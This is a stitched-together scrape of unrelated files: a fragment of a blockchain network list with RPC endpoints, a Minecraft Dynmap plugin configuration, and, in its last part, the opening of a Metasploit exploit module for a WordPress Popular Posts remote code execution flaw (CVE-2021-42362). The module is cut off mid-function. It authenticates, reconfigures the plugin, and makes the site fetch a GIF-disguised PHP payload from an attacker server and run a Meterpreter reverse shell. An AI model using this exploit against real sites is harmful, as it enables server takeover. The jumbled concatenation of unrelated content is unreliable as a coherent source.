5","chainId":100006,"shortName":"qkc-s5","networkId":100006,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:39005/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Mainnet Shard 6","chainId":100007,"shortName":"qkc-s6","networkId":100007,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:39006/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Mainnet Shard 7","chainId":100008,"shortName":"qkc-s7","networkId":100008,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:39007/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Root","chainId":110000,"shortName":"qkc-d-r","networkId":110000,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:38391/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Shard 0","chainId":110001,"shortName":"qkc-d-s0","networkId":110001,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:39000/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Shard 1","chainId":110002,"shortName":"qkc-d-s1","networkId":110002,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:39001/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Shard 2","chainId":110003,"shortName":"qkc-d-s2","networkId":110003,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:39002/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Shard 3","chainId":110004,"shortName":"qkc-d-s3","networkId":110004,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:39003/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Shard 4","chainId":110005,"shortName":"qkc-d-s4","networkId":110005,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:39004/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Shard 5","chainId":110006,"shortName":"qkc-d-s5","networkId":110006,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:39005/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Shard 6","chainId":110007,"shortName":"qkc-d-s6","networkId":110007,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:39006/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Devnet Shard 7","chainId":110008,"shortName":"qkc-d-s7","networkId":110008,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.devnet.quarkchain.io:39007/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"Akroma","chainId":200625,"shortName":"aka","networkId":200625,"nativeCurrency":{"name":"Akroma Ether","symbol":"AKA","decimals":18},"rpc":["https://remote.akroma.io"],"faucets":[],"infoURL":"https://akroma.io"},{"name":"ARTIS sigma1","chainId":246529,"shortName":"ats","networkId":246529,"nativeCurrency":{"name":"ARTIS sigma1 Ether","symbol":"ATS","decimals":18},"rpc":["https://rpc.sigma1.artis.network"],"faucets":[],"infoURL":"https://artis.eco"},{"name":"ARTIS Testnet tau1","chainId":246785,"shortName":"atstau","networkId":246785,"nativeCurrency":{"name":"ARTIS tau1 Ether","symbol":"tATS","decimals":18},"rpc":["https://rpc.tau1.artis.network"],"faucets":[],"infoURL":"https://artis.network"},{"name":"Arbitrum Testnet Rinkeby","chainId":421611,"shortName":"arb-rinkeby","networkId":421611,"nativeCurrency":{"name":"Arbitrum Rinkeby Ether","symbol":"ARETH","decimals":18},"rpc":["https://rinkeby.arbitrum.io/rpc","wss://rinkeby.arbitrum.io/ws"],"faucets":[],"infoURL":"https://arbitrum.io"},{"name":"Ether-1","chainId":1313114,"shortName":"etho","networkId":1313114,"nativeCurrency":{"name":"Ether-1 Ether","symbol":"ETHO","decimals":18},"rpc":["https://rpc.ether1.org"],"faucets":[],"infoURL":"https://ether1.org"},{"name":"Xerom","chainId":1313500,"shortName":"xero","networkId":1313500,"nativeCurrency":{"name":"Xerom Ether","symbol":"XERO","decimals":18},"rpc":["https://rpc.xerom.org"],"faucets":[],"infoURL":"https://xerom.org"},{"name":"Musicoin","chainId":7762959,"shortName":"music","networkId":7762959,"nativeCurrency":{"name":"Musicoin","symbol":"MUSIC","decimals":18},"rpc":["https://mewapi.musicoin.tw"],"faucets":[],"infoURL":"https://musicoin.tw"},{"name":"PepChain Churchill","chainId":13371337,"shortName":"tpep","networkId":13371337,"nativeCurrency":{"name":"PepChain Churchill Ether","symbol":"TPEP","decimals":18},"rpc":["https://churchill-rpc.pepchain.io"],"faucets":[],"infoURL":"https://pepchain.io"},{"name":"IOLite","chainId":18289463,"shortName":"ilt","networkId":18289463,"nativeCurrency":{"name":"IOLite Ether","symbol":"ILT","decimals":18},"rpc":["https://net.iolite.io"],"faucets":[],"infoURL":"https://iolite.io"},{"name":"quarkblockchain","chainId":20181205,"shortName":"qki","networkId":20181205,"nativeCurrency":{"name":"quarkblockchain Native Token","symbol":"QKI","decimals":18},"rpc":["https://hz.rpc.qkiscan.cn","https://jp.rpc.qkiscan.io"],"faucets":[],"infoURL":"https://quarkblockchain.org/"},{"name":"Auxilium Network Mainnet","chainId":28945486,"shortName":"auxi","networkId":28945486,"nativeCurrency":{"name":"Auxilium coin","symbol":"AUX","decimals":18},"rpc":["https://rpc.auxilium.global"],"faucets":[],"infoURL":"https://auxilium.global"},{"name":"Joys Digital Mainnet","chainId":35855456,"shortName":"JOYS","networkId":35855456,"nativeCurrency":{"name":"JOYS","symbol":"JOYS","decimals":18},"rpc":["https://node.joys.digital"],"faucets":[],"infoURL":"https://joys.digital"},{"name":"Aquachain","chainId":61717561,"shortName":"aqua","networkId":61717561,"nativeCurrency":{"name":"Aquachain Ether","symbol":"AQUA","decimals":18},"rpc":["https://c.onical.org","https://tx.aquacha.in/api"],"faucets":["https://aquacha.in/faucet"],"infoURL":"https://aquachain.github.io"},{"name":"Joys Digital TestNet","chainId":99415706,"shortName":"TOYS","networkId":99415706,"nativeCurrency":{"name":"TOYS","symbol":"TOYS","decimals":18},"rpc":["https://toys.joys.cash/"],"faucets":["https://faucet.joys.digital/"],"infoURL":"https://joys.digital"},{"name":"IPOS Network","chainId":1122334455,"shortName":"ipos","networkId":1122334455,"nativeCurrency":{"name":"IPOS Network Ether","symbol":"IPOS","decimals":18},"rpc":["https://rpc.iposlab.com","https://rpc2.iposlab.com"],"faucets":[],"infoURL":"https://iposlab.com"},{"name":"Aurora MainNet","chainId":1313161554,"shortName":"aurora","networkId":1313161554,"nativeCurrency":{"name":"Ether","symbol":"aETH","decimals":18},"rpc":["https://rpc.mainnet.aurora.dev:8545"],"faucets":[],"infoURL":"https://aurora.dev"},{"name":"Aurora TestNet","chainId":1313161555,"shortName":"aurora-testnet","networkId":1313161555,"nativeCurrency":{"name":"Ether","symbol":"aETH","decimals":18},"rpc":["https://rpc.testnet.aurora.dev:8545"],"faucets":[],"infoURL":"https://aurora.dev"},{"name":"Aurora BetaNet","chainId":1313161556,"shortName":"aurora-betanet","networkId":1313161556,"nativeCurrency":{"name":"Ether","symbol":"aETH","decimals":18},"rpc":["https://rpc.betanet.aurora.dev:8545"],"faucets":[],"infoURL":"https://aurora.dev"},{"name":"Harmony Mainnet Shard 0","chainId":1666600000,"shortName":"hmy-s0","networkId":1666600000,"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"rpc":["https://api.harmony.one"],"faucets":[],"infoURL":"https://www.harmony.one/"},{"name":"Harmony Mainnet Shard 1","chainId":1666600001,"shortName":"hmy-s1","networkId":1666600001,"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"rpc":["https://s1.api.harmony.one"],"faucets":[],"infoURL":"https://www.harmony.one/"},{"name":"Harmony Mainnet Shard 2","chainId":1666600002,"shortName":"hmy-s2","networkId":1666600002,"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"rpc":["https://s2.api.harmony.one"],"faucets":[],"infoURL":"https://www.harmony.one/"},{"name":"Harmony Mainnet Shard 3","chainId":1666600003,"shortName":"hmy-s3","networkId":1666600003,"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"rpc":["https://s3.api.harmony.one"],"faucets":[],"infoURL":"https://www.harmony.one/"},{"name":"Harmony Testnet Shard 0","chainId":1666700000,"shortName":"hmy-b-s0","networkId":1666700000,"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"rpc":["https://api.s0.b.hmny.io"],"faucets":[],"infoURL":"https://www.harmony.one/"},{"name":"Harmony Testnet Shard 1","chainId":1666700001,"shortName":"hmy-b-s1","networkId":1666700001,"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"rpc":["https://api.s1.b.hmny.io"],"faucets":[],"infoURL":"https://www.harmony.one/"},{"name":"Harmony Testnet Shard 2","chainId":1666700002,"shortName":"hmy-b-s2","networkId":1666700002,"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"rpc":["https://api.s2.b.hmny.io"],"faucets":[],"infoURL":"https://www.harmony.one/"},{"name":"Harmony Testnet Shard 3","chainId":1666700003,"shortName":"hmy-b-s3","networkId":1666700003,"nativeCurrency":{"name":"ONE","symbol":"ONE","decimals":18},"rpc":["https://api.s3.b.hmny.io"],"faucets":[],"infoURL":"https://www.harmony.one/"},{"name":"Pirl","chainId":3125659152,"shortName":"pirl","networkId":3125659152,"nativeCurrency":{"name":"Pirl Ether","symbol":"PIRL","decimals":18},"rpc":["https://wallrpc.pirl.io"],"faucets":[],"infoURL":"https://pirl.io"},{"name":"Palm Testnet","chainId":11297108099,"shortName":"tpalm","networkId":11297108099,"nativeCurrency":{"name":"PALM","symbol":"PALM","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://palm.io"},{"name":"Palm Mainnet","chainId":11297108109,"shortName":"palm","networkId":11297108109,"nativeCurrency":{"name":"PALM","symbol":"PALM","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://palm.io"}]
TaroballzChen
An authentication bypass using an alternate path or channel in Fortinet product
Nixy1234
# All paths in this configuration file are relative to Dynmap's data-folder: minecraft_server/dynmap/ # All map templates are defined in the templates directory # To use the HDMap very-low-res (2 ppb) map templates as world defaults, set value to vlowres # The definitions of these templates are in normal-vlowres.txt, nether-vlowres.txt, and the_end-vlowres.txt # To use the HDMap low-res (4 ppb) map templates as world defaults, set value to lowres # The definitions of these templates are in normal-lowres.txt, nether-lowres.txt, and the_end-lowres.txt # To use the HDMap hi-res (16 ppb) map templates (these can take a VERY long time for initial fullrender), set value to hires # The definitions of these templates are in normal-hires.txt, nether-hires.txt, and the_end-hires.txt # To use the HDMap low-res (4 ppb) map templates, with support for boosting resolution selectively to hi-res (16 ppb), set value to low_boost_hi # The definitions of these templates are in normal-low_boost_hi.txt, nether-low_boost_hi.txt, and the_end-low_boost_hi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to vhi-res (32 ppb), set value to hi_boost_vhi # The definitions of these templates are in normal-hi_boost_vhi.txt, nether-hi_boost_vhi.txt, and the_end-hi_boost_vhi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to xhi-res (64 ppb), set value to hi_boost_xhi # The definitions of these templates are in normal-hi_boost_xhi.txt, nether-hi_boost_xhi.txt, and the_end-hi_boost_xhi.txt deftemplatesuffix: lowres # Map storage scheme: only uncommoent one 'type' value # filetree: classic and default scheme: tree of files, with all map data under the directory indicated by 'tilespath' setting # sqlite: single SQLite database file (this can get VERY BIG), located at 'dbfile' setting (default is file dynmap.db in data directory) # mysql: MySQL database, at hostname:port in database, accessed via userid with password # mariadb: MariaDB database, at hostname:port in database, accessed via userid with password # postgres: PostgreSQL database, at hostname:port in database, accessed via userid with password storage: # Filetree storage (standard tree of image files for maps) type: filetree # SQLite db for map storage (uses dbfile as storage location) #type: sqlite #dbfile: dynmap.db # MySQL DB for map storage (at 'hostname':'port' in database 'database' using user 'userid' password 'password' and table prefix 'prefix' #type: mysql #hostname: localhost #port: 3306 #database: dynmap #userid: dynmap #password: dynmap #prefix: "" components: - class: org.dynmap.ClientConfigurationComponent - class: org.dynmap.InternalClientUpdateComponent sendhealth: true sendposition: true allowwebchat: true webchat-interval: 5 hidewebchatip: false trustclientname: false includehiddenplayers: false # (optional) if true, color codes in player display names are used use-name-colors: false # (optional) if true, player login IDs will be used for web chat when their IPs match use-player-login-ip: true # (optional) if use-player-login-ip is true, setting this to true will cause chat messages not matching a known player IP to be ignored require-player-login-ip: false # (optional) block player login IDs that are banned from chatting block-banned-player-chat: true # Require login for web-to-server chat (requires login-enabled: true) webchat-requires-login: false # If set to true, users must have dynmap.webchat permission in order to chat webchat-permissions: false # Limit length of single chat messages chatlengthlimit: 256 # # Optional - make players hidden when they are inside/underground/in shadows (#=light level: 0=full shadow,15=sky) # hideifshadow: 4 # # Optional - make player hidden when they are under cover (#=sky light level,0=underground,15=open to sky) # hideifundercover: 14 # # (Optional) if true, players that are crouching/sneaking will be hidden hideifsneaking: false # If true, player positions/status is protected (login with ID with dynmap.playermarkers.seeall permission required for info other than self) protected-player-info: false # If true, hide players with invisibility potion effects active hide-if-invisiblity-potion: true # If true, player names are not shown on map, chat, list hidenames: false #- class: org.dynmap.JsonFileClientUpdateComponent # writeinterval: 1 # sendhealth: true # sendposition: true # allowwebchat: true # webchat-interval: 5 # hidewebchatip: false # includehiddenplayers: false # use-name-colors: false # use-player-login-ip: false # require-player-login-ip: false # block-banned-player-chat: true # hideifshadow: 0 # hideifundercover: 0 # hideifsneaking: false # # Require login for web-to-server chat (requires login-enabled: true) # webchat-requires-login: false # # If set to true, users must have dynmap.webchat permission in order to chat # webchat-permissions: false # # Limit length of single chat messages # chatlengthlimit: 256 # hide-if-invisiblity-potion: true # hidenames: false - class: org.dynmap.SimpleWebChatComponent allowchat: true # If true, web UI users can supply name for chat using 'playername' URL parameter. 'trustclientname' must also be set true. allowurlname: false # Note: this component is needed for the dmarker commands, and for the Marker API to be available to other plugins - class: org.dynmap.MarkersComponent type: markers showlabel: false enablesigns: false # Default marker set for sign markers default-sign-set: markers # (optional) add spawn point markers to standard marker layer showspawn: true spawnicon: world spawnlabel: "Spawn" # (optional) layer for showing offline player's positions (for 'maxofflinetime' minutes after logoff) showofflineplayers: false offlinelabel: "Offline" offlineicon: offlineuser offlinehidebydefault: true offlineminzoom: 0 maxofflinetime: 30 # (optional) layer for showing player's spawn beds showspawnbeds: false spawnbedlabel: "Spawn Beds" spawnbedicon: bed spawnbedhidebydefault: true spawnbedminzoom: 0 spawnbedformat: "%name%'s bed" # (optional) Show world border (vanilla 1.8+) showworldborder: true worldborderlabel: "Border" - class: org.dynmap.ClientComponent type: chat allowurlname: false - class: org.dynmap.ClientComponent type: chatballoon focuschatballoons: false - class: org.dynmap.ClientComponent type: chatbox showplayerfaces: true messagettl: 5 # Optional: set number of lines in scrollable message history: if set, messagettl is not used to age out messages #scrollback: 100 # Optional: set maximum number of lines visible for chatbox #visiblelines: 10 # Optional: send push button sendbutton: false - class: org.dynmap.ClientComponent type: playermarkers showplayerfaces: true showplayerhealth: true # If true, show player body too (only valid if showplayerfaces=true showplayerbody: false # Option to make player faces small - don't use with showplayerhealth smallplayerfaces: false # Optional - make player faces layer hidden by default hidebydefault: false # Optional - ordering priority in layer menu (low goes before high - default is 0) layerprio: 0 # Optional - label for player marker layer (default is 'Players') label: "Players" #- class: org.dynmap.ClientComponent # type: digitalclock - class: org.dynmap.ClientComponent type: link - class: org.dynmap.ClientComponent type: timeofdayclock showdigitalclock: true #showweather: true # Mouse pointer world coordinate display - class: org.dynmap.ClientComponent type: coord label: "Location" hidey: false show-mcr: false show-chunk: false # Note: more than one logo component can be defined #- class: org.dynmap.ClientComponent # type: logo # text: "Dynmap" # #logourl: "images/block_surface.png" # linkurl: "http://forums.bukkit.org/threads/dynmap.489/" # # Valid positions: top-left, top-right, bottom-left, bottom-right # position: bottom-right #- class: org.dynmap.ClientComponent # type: inactive # timeout: 1800 # in seconds (1800 seconds = 30 minutes) # redirecturl: inactive.html # #showmessage: 'You were inactive for too long.' #- class: org.dynmap.TestComponent # stuff: "This is some configuration-value" # Treat hiddenplayers.txt as a whitelist for players to be shown on the map? (Default false) display-whitelist: false # How often a tile gets rendered (in seconds). renderinterval: 1 # How many tiles on update queue before accelerate render interval renderacceleratethreshold: 60 # How often to render tiles when backlog is above renderacceleratethreshold renderaccelerateinterval: 0.2 # How many update tiles to work on at once (if not defined, default is 1/2 the number of cores) tiles-rendered-at-once: 2 # If true, use normal priority threads for rendering (versus low priority) - this can keep rendering # from starving on busy Windows boxes (Linux JVMs pretty much ignore thread priority), but may result # in more competition for CPU resources with other processes usenormalthreadpriority: true # Save and restore pending tile renders - prevents their loss on server shutdown or /reload saverestorepending: true # Save period for pending jobs (in seconds): periodic saving for crash recovery of jobs save-pending-period: 900 # Zoom-out tile update period - how often to scan for and process tile updates into zoom-out tiles (in seconds) zoomoutperiod: 30 # Control whether zoom out tiles are validated on startup (can be needed if zoomout processing is interrupted, but can be expensive on large maps) initial-zoomout-validate: true # Default delay on processing of updated tiles, in seconds. This can reduce potentially expensive re-rendering # of frequently updated tiles (such as due to machines, pistons, quarries or other automation). Values can # also be set on individual worlds and individual maps. tileupdatedelay: 30 # Tile hashing is used to minimize tile file updates when no changes have occurred - set to false to disable enabletilehash: true # Optional - hide ores: render as normal stone (so that they aren't revealed by maps) #hideores: true # Optional - enabled BetterGrass style rendering of grass and snow block sides #better-grass: true # Optional - enable smooth lighting by default on all maps supporting it (can be set per map as lighting option) smooth-lighting: true # Optional - use world provider lighting table (good for custom worlds with custom lighting curves, like nether) # false=classic Dynmap lighting curve use-brightness-table: true # Optional - render specific block names using the textures and models of another block name: can be used to hide/disguise specific # blocks (e.g. make ores look like stone, hide chests) or to provide simple support for rendering unsupported custom blocks block-alias: # "minecraft:quartz_ore": "stone" # "diamond_ore": "coal_ore" # Default image format for HDMaps (png, jpg, jpg-q75, jpg-q80, jpg-q85, jpg-q90, jpg-q95, jpg-q100, webp, webp-q75, webp-q80, webp-q85, webp-q90, webp-q95, webp-q100), # Note: any webp format requires the presence of the 'webp command line tools' (cwebp, dwebp) (https://developers.google.com/speed/webp/download) # # Has no effect on maps with explicit format settings image-format: jpg-q90 # If cwebp or dwebp are not on the PATH, use these settings to provide their full path. Do not use these settings if the tools are on the PATH # For Windows, include .exe # #cwebpPath: /usr/bin/cwebp #dwebpPath: /usr/bin/dwebp # use-generated-textures: if true, use generated textures (same as client); false is static water/lava textures # correct-water-lighting: if true, use corrected water lighting (same as client); false is legacy water (darker) # transparent-leaves: if true, leaves are transparent (lighting-wise): false is needed for some Spout versions that break lighting on leaf blocks use-generated-textures: true correct-water-lighting: true transparent-leaves: true # ctm-support: if true, Connected Texture Mod (CTM) in texture packs is enabled (default) ctm-support: true # custom-colors-support: if true, Custom Colors in texture packs is enabled (default) custom-colors-support: true # Control loading of player faces (if set to false, skins are never fetched) #fetchskins: false # Control updating of player faces, once loaded (if faces are being managed by other apps or manually) #refreshskins: false # Customize URL used for fetching player skins (%player% is macro for name) skin-url: "http://skins.minecraft.net/MinecraftSkins/%player%.png" # Control behavior for new (1.0+) compass orientation (sunrise moved 90 degrees: east is now what used to be south) # default is 'newrose' (preserve pre-1.0 maps, rotate rose) # 'newnorth' is used to rotate maps and rose (requires fullrender of any HDMap map - same as 'newrose' for FlatMap or KzedMap) compass-mode: newnorth # Triggers for automatic updates : blockupdate-with-id is debug for breaking down updates by ID:meta # To disable, set just 'none' and comment/delete the rest render-triggers: - blockupdate #- blockupdate-with-id #- lightingupdate - chunkpopulate - chunkgenerate #- none # Title for the web page - if not specified, defaults to the server's name (unless it is the default of 'Unknown Server') #webpage-title: "My Awesome Server Map" # The path where the tile-files are placed. tilespath: web/tiles # The path where the web-files are located. webpath: web # The path were the /dynmapexp command exports OBJ ZIP files exportpath: export # The network-interface the webserver will bind to (0.0.0.0 for all interfaces, 127.0.0.1 for only local access). # If not set, uses same setting as server in server.properties (or 0.0.0.0 if not specified) #webserver-bindaddress: 0.0.0.0 # The TCP-port the webserver will listen on. webserver-port: 8123 # Maximum concurrent session on internal web server - limits resources used in Bukkit server max-sessions: 30 # Disables Webserver portion of Dynmap (Advanced users only) disable-webserver: false # Enable/disable having the web server allow symbolic links (true=compatible with existing code, false=more secure (default)) allow-symlinks: true # Enable login support login-enabled: false # Require login to access website (requires login-enabled: true) login-required: false # Period between tile renders for fullrender, in seconds (non-zero to pace fullrenders, lessen CPU load) timesliceinterval: 0.0 # Maximum chunk loads per server tick (1/20th of a second) - reducing this below 90 will impact render performance, but also will reduce server thread load maxchunkspertick: 200 # Progress report interval for fullrender/radiusrender, in tiles. Must be 100 or greater progressloginterval: 100 # Parallel fullrender: if defined, number of concurrent threads used for fullrender or radiusrender # Note: setting this will result in much more intensive CPU use, some additional memory use. Caution should be used when # setting this to equal or exceed the number of physical cores on the system. #parallelrendercnt: 4 # Interval the browser should poll for updates. updaterate: 2000 # If nonzero, server will pause fullrender/radiusrender processing when 'fullrenderplayerlimit' or more users are logged in fullrenderplayerlimit: 0 # If nonzero, server will pause update render processing when 'updateplayerlimit' or more users are logged in updateplayerlimit: 0 # Target limit on server thread use - msec per tick per-tick-time-limit: 50 # If TPS of server is below this setting, update renders processing is paused update-min-tps: 18.0 # If TPS of server is below this setting, full/radius renders processing is paused fullrender-min-tps: 18.0 # If TPS of server is below this setting, zoom out processing is paused zoomout-min-tps: 18.0 showplayerfacesinmenu: true # Control whether players that are hidden or not on current map are grayed out (true=yes) grayplayerswhenhidden: true # Set sidebaropened: 'true' to pin menu sidebar opened permanently, 'pinned' to default the sidebar to pinned, but allow it to unpin #sidebaropened: true # Customized HTTP response headers - add 'id: value' pairs to all HTTP response headers (internal web server only) #http-response-headers: # Access-Control-Allow-Origin: "my-domain.com" # X-Custom-Header-Of-Mine: "MyHeaderValue" # Trusted proxies for web server - which proxy addresses are trusted to supply valid X-Forwarded-For fields trusted-proxies: - "127.0.0.1" - "0:0:0:0:0:0:0:1" joinmessage: "%playername% joined" quitmessage: "%playername% quit" spammessage: "You may only chat once every %interval% seconds." # format for messages from web: %playername% substitutes sender ID (typically IP), %message% includes text webmsgformat: "&color;2[WEB] %playername%: &color;f%message%" # Control whether layer control is presented on the UI (default is true) showlayercontrol: true # Enable checking for banned IPs via banned-ips.txt (internal web server only) check-banned-ips: true # Default selection when map page is loaded defaultzoom: 0 defaultworld: world defaultmap: flat # (optional) Zoom level and map to switch to when following a player, if possible #followzoom: 3 #followmap: surface # If true, make persistent record of IP addresses used by player logins, to support web IP to player matching persist-ids-by-ip: true # If true, map text to cyrillic cyrillic-support: false # Messages to customize msg: maptypes: "Map Types" players: "Players" chatrequireslogin: "Chat Requires Login" chatnotallowed: "You are not permitted to send chat messages" hiddennamejoin: "Player joined" hiddennamequit: "Player quit" # URL for client configuration (only need to be tailored for proxies or other non-standard configurations) url: # configuration URL #configuration: "up/configuration" # update URL #update: "up/world/{world}/{timestamp}" # sendmessage URL #sendmessage: "up/sendmessage" # login URL #login: "up/login" # register URL #register: "up/register" # tiles base URL #tiles: "tiles/" # markers base URL #markers: "tiles/" # Snapshot cache size, in chunks snapshotcachesize: 500 # Snapshot cache uses soft references (true), else weak references (false) soft-ref-cache: true # Player enter/exit title messages for map markers # # Processing period - how often to check player positions vs markers - default is 1000ms (1 second) #enterexitperiod: 1000 # Title message fade in time, in ticks (0.05 second intervals) - default is 10 (1/2 second) #titleFadeIn: 10 # Title message stay time, in ticks (0.05 second intervals) - default is 70 (3.5 seconds) #titleStay: 70 # Title message fade out time, in ticks (0.05 seocnd intervals) - default is 20 (1 second) #titleFadeOut: 20 # Enter/exit messages use on screen titles (true - default), if false chat messages are sent instead #enterexitUseTitle: true # Set true if new enter messages should supercede pending exit messages (vs being queued in order), default false #enterReplacesExits: true # Set to true to enable verbose startup messages - can help with debugging map configuration problems # Set to false for a much quieter startup log verbose: false # Enables debugging. #debuggers: # - class: org.dynmap.debug.LogDebugger # Debug: dump blocks missing render data dump-missing-blocks: false
Nate0634034090
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } 